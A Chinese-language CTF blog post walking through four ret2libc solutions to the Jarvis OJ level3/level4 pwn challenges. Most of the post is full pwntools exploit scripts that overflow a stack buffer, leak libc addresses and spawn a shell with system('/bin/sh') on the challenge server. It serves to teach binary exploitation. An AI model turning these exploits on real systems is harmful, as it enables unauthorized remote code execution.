jarvis oj level3/level4--多种解法实现ret2libc

level3和level4都是ret2libc的典型题目,只不过level3给了libc文件而level4没有给。

这里以leve3为例,使用多种方式实现ret2libc

一,使用给定的libc文件,计算偏移地址

整体思路就是通过首先泄露处libc中某个函数运行时的实际地址,再通过给定的libc文件计算出system函数的实际地址,跳转到system函数执行

基础原理: http://www.zjzhhb.com/archives/641 ,

利用思路:由程序文件获得write在plt表中的地址,可以理解为write的入口地址
由程序文件获得write在got表中的地址,此处存放着write实际运行时的地址
payload1跳转到write函数执行(plt地址),泄露write函数运行时在内存中的地址,并跳回vulnerable函数。
通过给定的libc库算出system函数和字符串’/bin/sh’的实际地址
payload2构造system(‘/bin/sh’)

这里不再介绍了,附上脚本:

from pwn import *
 context(log_level = "debug",arch = "i386",os = "linux")
 elf=ELF('/home/zpy/Desktop/javaoj/level3/level3')
 libc=ELF('/home/zpy/Desktop/javaoj/level3/libc-2.19.so')
 ip = 'pwn2.jarvisoj.com'
 port = 9879
 io = remote(ip, port)

 write_addr = elf.symbols['write']      # pltadress
 vulner_addr = elf.symbols['vulnerable_function']
 write_got = elf.got['write']

 padding='a'0x88+'a'0x4
 payload1=padding + p32(write_addr) + p32(vulner_addr) + p32(1) + p32(write_got) + p32(4)
 print io.recv()
 io.send(payload1)
 write_absoult = u32(io.recv(4))

 system_lib = libc.symbols['system']
 write_lib = libc.symbols['write']
 bin_lib = libc.search('/bin/sh').next()
 system_absoult = write_absoult + system_lib - write_lib
 bin_absoult = write_absoult + bin_lib-write_lib

 payload2 = padding + p32(system_absoult) + p32(0) + p32(bin_absoult)
 io.recv()
 io.sendline(payload2)
 io.interactive()

二,使用DynELF泄露system地址,无需libc文件

DynELF是pwntools的一个函数,可以循环利用程序中可以泄露地址的函数(这里是write),将libc中的函数的实际地址泄露出来,并且无需libc文件。

关于DynELF:

https://github.com/firmianay/CTF-All-In-One/blob/master/doc/4.8_dynelf.md

https://www.anquanke.com/post/id/85129

https://www.freebuf.com/articles/system/193646.html

但是好像不能泄露字符串’/bin/sh’的地址,不过我们可以构造read(0,bss_addr,0x8)读入我们输入的’/bin/sh’,写入到bss段,再通过提供给system函数使用。

利用思路:无需libc库文件
由程序文件获得write的plt地址,获得read函数的plt地址,获得write函数的got地址,start函数的地址,获得bss程序段的起始地址
由DynELF和write函数泄露出system函数的地址
payload2:调用read函数,标准输入将字符串’/bin/sh’读入bss数据段
payload3:调用system函数,bss段中的’/bin/sh’的地址作为system函数的参数,执行 system(‘/bin/sh’)

编写leak函数的时候要注意接收’Input:\n’,这里和level4有点差别

from pwn import *
 ip = 'pwn2.jarvisoj.com'
 port = 9879
 io = remote(ip, port)
 elf=ELF('/home/zpy/Desktop/javaoj/level3/level3')

 write_addr = elf.symbols['write']
 vulner_addr = elf.symbols['vulnerable_function']
 write_got = elf.got['write']
 start = elf.symbols['_start']    # 循环泄露地址时,最好使用start函数作为每次跳转回的位置,不易出错
 read_plt = elf.symbols['read']
 bss_addr = elf.bss()

 padding = 'a' * 0x88 + 'a' * 0x4


 def leak(address):
     payload = padding + p32(write_addr) + p32(start) + p32(1) + p32(address) + p32(4)
     io.recvuntil('Input:\n')
     io.send(payload)
     data = io.recv(4)
     return data

 d = DynELF(leak, elf=ELF('/home/zpy/Desktop/javaoj/level3/level3'))
 systemAddress = d.lookup('system', 'libc')

 payload2 = padding + p32(read_plt) + p32(vulner_addr) + p32(0x0) + p32(bss_addr) + p32(0x8)
 io.send(payload2)
 io.send('/bin/sh\x00')

 payload3 = padding + p32(systemAddress)  + p32(0) + p32(bss_addr)
 io.sendline(payload3)
 io.interactive()

三,使用LibcSearcher确定链接的libc文件版本,得到偏移量

LibcSearcher是python的一个库,可以通过已泄露的函数地址算出改程序使用的libc文件是哪个。当我们知道了程序中链接的libc文件是什么,就可像方法一一样计算实际地址了。

利用思路:与方法一类似,但是也不需要给出libc文件
首先泄露出write函数运行时的实际地址
通过LibcSearcher,确定libc文件的版本,算出system函数和字符串’/bin/sh’的实际地址

只提供一个泄露的地址和对应函数名,可能搜索到多个符合结果的libc,都进行尝试即可。

关于LibcSearcher:

https://github.com/lieanu/LibcSearcher

https://blog.csdn.net/kevin66654/article/details/87282411

https://www.jianshu.com/p/8d2552b8e1a2

https://libc.blukat.me/

from pwn import *
 from LibcSearcher import *

 elf=ELF('/home/zpy/Desktop/javaoj/level3/level3')
 ip = 'pwn2.jarvisoj.com'
 port = 9879
 io = remote(ip, port)

 write_addr = elf.symbols['write']
 vulner_addr = elf.symbols['vulnerable_function']
 write_got = elf.got['write']

 padding='a'0x88+'a'0x4

 payload1=padding + p32(write_addr) + p32(vulner_addr) + p32(1) + p32(write_got) + p32(4)
 io.recv()
 io.send(payload1)
 write_absoult = u32(io.recv(4))

 obj = LibcSearcher("write", write_absoult)

 system_lib = obj.dump("system")
 bin_lib = obj.dump("str_bin_sh")
 write_lib = obj.dump("write")

 system_absoult = write_absoult + system_lib - write_lib
 bin_absoult = write_absoult + bin_lib - write_lib

 payload2 = padding + p32(system_absoult) + p32(0) + p32(bin_absoult)
 io.recv()
 io.sendline(payload2)
 io.interactive()

四,使用ppp_ret跳转对方法二进行改进

方法二中,使用了三个payload,其中payload2调用read函数读入’/bin/sh’,payload3调用system函数执行,现在我们考虑将payload2和payload3合并

但是直接合并是有问题的,如果我们构造一个payload,直接两个函数的栈帧压入,执行完read函数后的栈并不满足system函数的执行,还需要pop三次

所以新的思路是执行完read函数后,跳转到程序的某处,存在指令 pop … pop … pop … ret,在这里执行完三次pop,平衡栈结构后,再执行跳转指令,跳转到system函数执行

在程序中找到一处 pop … pop … pop … ret 需要借助工具ROPgadget

有关ROPgadget:

https://www.jianshu.com/p/1d7f0c56a323

https://github.com/JonathanSalwan/ROPgadget

使用该工具查找包含pop和ret指令的地址:

jarvis oj level3/level4--多种解法实现ret2libc_第1张图片

0x08048519符合三个pop一个ret的要求,执行完read函数跳转到这里执行三个pop再跳转system就行了,脚本:

from pwn import *
 ip = 'pwn2.jarvisoj.com'
 port = 9879
 io = remote(ip, port)
 elf=ELF('/home/zpy/Desktop/javaoj/level3/level3')

 write_addr = elf.symbols['write']
 vulner_addr = elf.symbols['vulnerable_function']
 write_got = elf.got['write']
 start = elf.symbols['_start']
 read_plt=elf.symbols['read']
 bss_addr=elf.bss()

 padding = 'a' * 0x88 + 'a' * 0x4

 def leak(address):
     payload = padding + p32(write_addr) + p32(start) + p32(1) + p32(address) + p32(4)
     io.recvuntil('Input:\n')
     io.send(payload)
     data = io.recv(4)
     return data


 d = DynELF(leak, elf=ELF('/home/zpy/Desktop/javaoj/level3/level3'))
 systemAddress = d.lookup('system', 'libc')

 ppp_ret = 0x08048519

 payload2 = padding + p32(read_plt) + p32(ppp_ret) + p32(0x0) + p32(bss_addr) + p32(0x8)+ p32(systemAddress) + p32(0) + p32(bss_addr)

 io.send(payload2)
 io.send('/bin/sh\x00')
 io.interactive()

刚入门pwn,都是些很基础的东西,记录一下学习笔记,也希望对大家有些用处!

参考链接:

http://abcdefghijklmnopqrst.xyz/2018/08/13/WP_JarvisOJ/#XMAN-level3

https://xz.aliyun.com/t/3402#toc-0

https://blog.csdn.net/weixin_41617275/article/details/84799355

文章同步到我的博客:http://www.zjzhhb.com/archives/654

你可能感兴趣的:(汇编与逆向,学习笔记,ctf)